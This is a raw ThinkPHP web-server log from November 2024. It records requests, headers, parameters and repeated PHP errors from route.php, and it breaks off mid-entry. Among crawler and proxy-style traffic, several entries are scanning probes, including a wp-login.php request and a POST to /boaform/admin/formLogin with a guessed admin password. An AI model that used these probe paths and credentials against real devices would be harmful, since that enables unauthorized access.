2024-11-14T19:06:41+08:00 ] 141.98.11.178 GET 59.110.137.245:80/ [运行时间:0.050668s] [吞吐率:19.74req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:06:54+08:00 ] 179.43.191.98 GET 59.110.137.245/ [运行时间:0.001306s] [吞吐率:765.66req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:15:40+08:00 ] 157.90.91.229 GET 51tianwei.com/sitemap.ashx [运行时间:0.059576s] [吞吐率:16.79req/s] [内存消耗:134.01kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'sitemap.ashx', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)', 'accept' => 'application/xml;application/x-xml;text/xml;application/atom+xml;application/rss+xml;text/rss;application/rdf+xml;text/plain;application/gzip;application/gzip-compressed;application/gzipped;application/x-gzip;application/x-gzip-compressed;application/x-gunzip;gzip/document;q=0.9,*/*;q=0.8', 'host' => '51tianwei.com', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip,deflate', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:15:44+08:00 ] 157.90.91.229 GET 51tianwei.com/sitemap.txt [运行时间:0.001210s] [吞吐率:826.46req/s] [内存消耗:140.28kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:15:50+08:00 ] 157.90.91.229 GET 51tianwei.com/sitemap.xml.gz [运行时间:0.000897s] [吞吐率:1,114.91req/s] [内存消耗:140.29kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:15:53+08:00 ] 157.90.91.229 GET 51tianwei.com/sitemap_index.xml [运行时间:0.001009s] [吞吐率:991.09req/s] [内存消耗:140.30kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:15:57+08:00 ] 157.90.91.229 GET 51tianwei.com/sitemap_index.xml.gz [运行时间:0.000925s] [吞吐率:1,081.01req/s] [内存消耗:140.30kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:21:07+08:00 ] 171.124.19.86 GET 59.110.137.245:80/hlslive-tx-cdn.ysp.cctv.cn/067/2024078201.m3u8 [运行时间:0.002127s] [吞吐率:470.16req/s] [内存消耗:132.47kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hlslive-tx-cdn.ysp.cctv.cn', 2 => '067', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => '59.110.137.245:80', 'user-agent' => 'okhttp/3.15', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:21:07+08:00 ] 171.124.19.86 GET 59.110.137.245:80/hlslive-tx-cdn.ysp.cctv.cn/ysp/2024078203.m3u8 [运行时间:0.001712s] [吞吐率:584.16req/s] [内存消耗:132.47kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hlslive-tx-cdn.ysp.cctv.cn', 2 => 'ysp', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => '59.110.137.245:80', 'user-agent' => 'okhttp/3.15', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:21:07+08:00 ] 171.124.19.86 GET 59.110.137.245:80/bktlivecloud-cdn.ysp.cctv.cn/ysp/2024078203.m3u8 [运行时间:0.001059s] [吞吐率:944.24req/s] [内存消耗:132.47kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bktlivecloud-cdn.ysp.cctv.cn', 2 => 'ysp', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => '59.110.137.245:80', 'user-agent' => 'okhttp/3.15', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:21:07+08:00 ] 171.124.19.86 GET 59.110.137.245:80/hlslive-tx-cdn.ysp.cctv.cn/069/2024072001.m3u8 [运行时间:0.001041s] [吞吐率:960.67req/s] [内存消耗:132.47kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hlslive-tx-cdn.ysp.cctv.cn', 2 => '069', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => '59.110.137.245:80', 'user-agent' => 'okhttp/3.15', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:24:43+08:00 ] 218.66.171.228 HEAD video.dispatch.tc.qq.com/B_JxNyiJmktHRgresXhfyMehX1RoRbptxSj-nu2gzHZMogEZKn1-0cu_UL4VoXTqiI/svp_50001/szg_6326_50001_0bf2wqadkaaa7qak6mlho5qvdngdgw2aanka.f622.mp4?vkey=FC31073101955A837E6C6A97B813D3B15902C8FB66FD19FBE2EC8A72010074ED92F0EE190F6361E91565D035500309C0926FB1848E080C64E754C6FF9C346E60B48AB4163214D77618AB189FCE3E4BA47185CB620FAD4E3C404DDD0CF83EA4EA5449AD2963AD07E51389826CDDA85C6247CA03FEF26133D5C844E9576041F71AC04895C0B22BEFC5 [运行时间:0.001835s] [吞吐率:544.93req/s] [内存消耗:134.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'B_JxNyiJmktHRgresXhfyMehX1RoRbptxSj-nu2gzHZMogEZKn1-0cu_UL4VoXTqiI', 2 => 'svp_50001', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'video.dispatch.tc.qq.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://video.dispatch.tc.qq.com', ) [ info ] [ PARAM ] array ( 'vkey' => 'FC31073101955A837E6C6A97B813D3B15902C8FB66FD19FBE2EC8A72010074ED92F0EE190F6361E91565D035500309C0926FB1848E080C64E754C6FF9C346E60B48AB4163214D77618AB189FCE3E4BA47185CB620FAD4E3C404DDD0CF83EA4EA5449AD2963AD07E51389826CDDA85C6247CA03FEF26133D5C844E9576041F71AC04895C0B22BEFC5', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T19:40:17+08:00 ] 123.57.13.121 GET 51tianwei.com/ [运行时间:0.063077s] [吞吐率:15.85req/s] [内存消耗:159.98kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'accept-encoding' => 'gzip, deflate, br', 'accept' => '*/*', 'connection' => 'keep-alive', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T19:42:41+08:00 ] 125.122.15.101 GET www.51tianwei.com/plug/sms/plug.xml [运行时间:0.001088s] [吞吐率:919.20req/s] [内存消耗:139.92kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T19:59:37+08:00 ] 185.85.239.13 GET 59.110.137.245/admin/assets/js/views/login.js [运行时间:0.050786s] [吞吐率:19.69req/s] [内存消耗:132.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'xfa1', 'accept' => '*/*', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( 'js' => 'views', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T20:07:40+08:00 ] 45.202.35.17 POST 59.110.137.245:80/boaform/admin/formLogin [运行时间:0.004164s] [吞吐率:240.15req/s] [内存消耗:134.29kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'boaform', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'accept-language' => 'en-GB,en;q=0.5', 'accept-encoding' => 'gzip, deflate', 'content-type' => 'application/x-www-form-urlencoded', 'content-length' => '29', 'origin' => 'http://59.110.137.245:80', 'connection' => 'keep-alive', 'referer' => 'http://59.110.137.245:80/admin/login.asp', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( 'username' => 'admin', 'psd' => 'Feefifofum', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T20:24:51+08:00 ] 209.126.81.144 GET 51tianwei.com/wp-login.php [运行时间:0.051617s] [吞吐率:19.37req/s] [内存消耗:132.42kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp-login.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0', 'accept-encoding' => 'gzip,deflate', 'host' => '51tianwei.com', 'connection' => 'Keep-Alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T20:36:58+08:00 ] 185.242.226.99 GET 59.110.137.245/ [运行时间:0.041554s] [吞吐率:24.07req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T20:44:28+08:00 ] 1.231.222.24 GET 127.0.0.1/ [运行时间:0.001446s] [吞吐率:691.56req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T20:47:26+08:00 ] 95.214.55.43 GET 59.110.137.245/ [运行时间:0.001658s] [吞吐率:603.15req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:00:14+08:00 ] 65.49.1.21 GET 59.110.137.245/ [运行时间:0.033772s] [吞吐率:29.61req/s] [内存消耗:159.80kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] 